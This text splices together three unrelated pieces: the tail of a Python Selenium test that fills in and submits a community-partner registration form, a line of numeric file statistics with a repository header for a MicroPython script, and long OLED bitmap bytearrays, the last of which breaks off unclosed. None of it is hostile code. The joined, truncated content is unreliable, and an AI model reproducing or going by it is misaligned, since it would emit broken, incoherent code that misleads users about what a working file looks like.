driver.get(sta_url + 'login/')
driver.find_element_by_link_text("Login").click()
driver.find_element_by_name("email").click()
driver.find_element_by_name("email").clear()
driver.find_element_by_name("email").send_keys(admin_user)
driver.find_element_by_name("password").clear()
driver.find_element_by_name("password").send_keys(admin_pwd)
driver.find_element_by_name("password").send_keys(Keys.ENTER)
driver.get(sta_url + 'partners/registerCommunityPartner')
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").click()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").clear()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").send_keys('EdemTest109')
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url1)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'https://' + url1)
Select(driver.find_element_by_id("id_community_type")).select_by_visible_text("Nonprofit")
driver.find_element_by_id("id_address_line1").send_keys('8509 Maple Court')
driver.find_element_by_id("id_city").send_keys('Omaha')
driver.find_element_by_id("id_state").send_keys('NE')
driver.find_element_by_id("id_zip").send_keys('68128')
driver.find_element_by_id("id_country").send_keys('USA')
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-email_id']/../../../..//SELECT[@id='id_contact-0-contact_type']").click()
driver.find_element_by_xpath(
"//SELECT[@id='id_contact-0-contact_type']/../../../..//INPUT[@id='id_contact-0-email_id']").send_keys(
'edem@edem.com')
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-last_name']/../../../..//INPUT[@id='id_contact-0-first_name']").send_keys('Edem')
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-first_name']/../../../..//INPUT[@id='id_contact-0-last_name']").send_keys(
"Dosseh")
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-cell_phone']/../../../..//INPUT[@id='id_contact-0-work_phone']").send_keys(
'4021111111')
Select(driver.find_element_by_id("id_primary_mission-0-mission_area")).select_by_visible_text("Social Justice")
# Terms
driver.find_element_by_xpath('//*[@id="terms"]').click()
# Submit
driver.find_element_by_xpath("//INPUT[@id='terms']/../../..//BUTTON[@type='submit']").click()
# Check Community Partners
driver.find_element_by_xpath("(//A[@class='nav-link']/../..//A[@class='nav-link dropdown-toggle'])[4]").click()
driver.find_element_by_xpath("(//A[@class='nav-link dropdown-toggle'])[4]"
"/..//A[@class='dropdown-item'][text()='Admin View']").click()
driver.get('https://uno-cpi-sta.herokuapp.com/admin/partners/communitypartner/')
driver.find_element_by_xpath("//INPUT[@type='submit']/preceding-sibling::INPUT").click()
driver.find_element_by_xpath("//INPUT[@type='submit']/preceding-sibling::INPUT").send_keys('Edem')
driver.find_element_by_xpath("//INPUT[@id='searchbar']/following-sibling::INPUT").click()
time.sleep(10)
def tearDown(self):
self.driver.close()
self.driver.stop_client()
if __name__ == "__main__":
unittest.main()
| 56.069767 | 156 | 0.651274 | 2,895 | 21,699 | 4.507081 | 0.056995 | 0.147915 | 0.251456 | 0.281039 | 0.923896 | 0.923666 | 0.919221 | 0.918838 | 0.913627 | 0.905273 | 0 | 0.015876 | 0.152403 | 21,699 | 386 | 157 | 56.215026 | 0.693562 | 0.012812 | 0 | 0.784512 | 0 | 0.117845 | 0.357604 | 0.247453 | 0 | 0 | 0 | 0 | 0.06734 | 1 | 0.020202 | false | 0.030303 | 0.023569 | 0 | 0.047138 | 0.013468 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
a741689d42d0bcd715397bcd2520419a234536c0 | 34,541 | py | Python | examples/temp/button_AB_2.py | yonghuming/mPython | 2586dba51b341fccea3370153b2c4390b7766a7f | [
"MIT"
] | null | null | null | examples/temp/button_AB_2.py | yonghuming/mPython | 2586dba51b341fccea3370153b2c4390b7766a7f | [
"MIT"
] | null | null | null | examples/temp/button_AB_2.py | yonghuming/mPython | 2586dba51b341fccea3370153b2c4390b7766a7f | [
"MIT"
] | null | null | null | from machine import Pin, ADC, PWM, I2C, SPI, Timer, TouchPad
from neopixel import NeoPixel
import time
from handPy import *
import framebuf
bmp_labplus1 = bytearray([\
# /* 0X22,0X01,0X80,0X00,0X40,0X00, */
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XE0,0XE0,0XE0,0XE0,0XE0,
0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,
0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,
0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X07,0X07,0X07,0X07,0X07,
0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,
0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,
0X07,0X07,0X07,0X07,0X07,0X07,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
])
bmp_labplus2 = bytearray([\
#/* 0X22,0X01,0X80,0X00,0X40,0X00, */
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XC0,0XC0,0XC0,0XC0,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,
0X80,0X80,0X80,0X80,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0XFF,0XFF,0XFF,0XFF,0X1C,0X1C,0X1C,
0X1C,0X1C,0X1C,0X00,0X00,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0XFF,
0XFF,0XFF,0XFF,0XFF,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XE0,0XE0,0XE0,0XE0,0XE0,
0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,
0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0X00,
0X00,0X00,0X1E,0X1E,0X1E,0X1E,0X1E,0X1E,0X1E,0X1F,0XFF,0XFF,0XFF,0XFE,0X1E,0X1E,
0X1E,0X1E,0X1E,0X1E,0X00,0X00,0XFE,0XFE,0XFE,0XFE,0X1E,0X1E,0X1E,0X1E,0X1E,0X1F,
0X1F,0X1F,0X1F,0X1F,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X03,0X03,0X03,0X03,0X03,
0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,
0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X00,
0X00,0X00,0X00,0XFF,0XFF,0XFF,0XFF,0XC0,0X00,0X00,0XFF,0XFF,0XFF,0XFF,0X1C,0X1C,
0X1C,0X1C,0X1C,0X1C,0X00,0X00,0XFF,0XFF,0XFF,0XFF,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,
0XE0,0XF0,0XFE,0XFE,0X7C,0X0C,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0XF0,0XFF,0XFF,0XFF,0X0F,0X1F,0X3F,0X7E,0X7F,0XFF,0XFF,0XFF,0XF0,0XF0,
0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE1,0XE1,0XE1,0XE1,0XE1,0XE1,0XE1,0XE1,
0XE1,0XE1,0XE1,0XE0,0XE0,0X60,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X01,0X01,0X03,0X03,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X01,0X01,
0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,
0X01,0X01,0X01,0X01,0X01,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
])
bmp_labplus3 = bytearray([\
#/* 0X22,0X01,0X80,0X00,0X40,0X00, */
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XC0,0XC0,0XC0,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0X80,0XC0,0XC0,
0X80,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X1C,0X1E,0X1E,0X1E,0X1E,0X1E,0XFF,0XFF,0XFF,0X1E,0X1E,0X1E,0X1E,0X1E,0X1C,
0X00,0X00,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0X07,0XFF,0XFF,0XFF,0XFF,0X00,
0X00,0X00,0X00,0X00,0X00,0X80,0X81,0X87,0X87,0X87,0X97,0XFF,0XFF,0XF7,0XC7,0X87,
0X87,0X87,0X83,0XFB,0XFF,0XFF,0XC3,0X83,0X83,0X83,0XE3,0XFB,0XFF,0XFF,0X8B,0X81,
0X81,0X80,0X80,0X80,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XF0,0XF0,0XF0,
0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,
0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0XF0,0X00,0X00,0X00,
0X0E,0X0F,0XCF,0XCF,0XCF,0X0F,0X0F,0X0F,0XFF,0XFF,0XFF,0X0F,0X0F,0X0F,0X0F,0X0F,
0X0E,0X00,0XFF,0XFF,0XFF,0XFF,0X0F,0X0F,0X0F,0X0F,0X0F,0X0F,0X0F,0X8F,0X8F,0X00,
0X00,0X00,0X00,0X00,0X00,0X1F,0X1F,0X1F,0XF3,0XE3,0XE3,0XE3,0XE3,0XE3,0XFF,0XFB,
0XFB,0XFB,0XE3,0XE3,0XE3,0XE3,0XE3,0XE3,0XE3,0XE3,0XE3,0XE3,0XE3,0XE3,0XE3,0XE3,
0XFF,0X1F,0X1F,0X1F,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0XF8,0XFF,0XFF,0XFF,0XF0,0XC0,0XC0,0XFF,0XFF,0XFF,0X0F,0X07,0X07,0X07,0X07,
0X00,0X00,0X1F,0X3F,0X7F,0X7F,0X78,0X78,0X78,0X78,0X78,0X78,0X78,0X7F,0X3F,0X1F,
0X03,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X80,0XE0,0XF0,0XFC,0XFF,0X3F,0X7F,
0XFF,0XFC,0XFC,0XDC,0X9C,0X9C,0X1C,0X9C,0X9C,0XDC,0XFC,0XFC,0XFC,0X7C,0X1C,0X08,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X38,0X3F,0X7F,0X1F,0X03,0X03,0X07,0X0F,0X0F,0X1F,0X1F,0X1E,0X1C,0X3C,0X3C,0X3C,
0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,
0X0C,0X00,0X00,0X00,0X08,0X1C,0X3C,0X3E,0X1F,0X0F,0X07,0X03,0X09,0X38,0X38,0X38,
0X3C,0X1C,0X1F,0X1F,0X0F,0X0F,0X0F,0X0F,0X0F,0X1F,0X1F,0X1C,0X1C,0X3C,0X3C,0X3C,
0X38,0X38,0X18,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
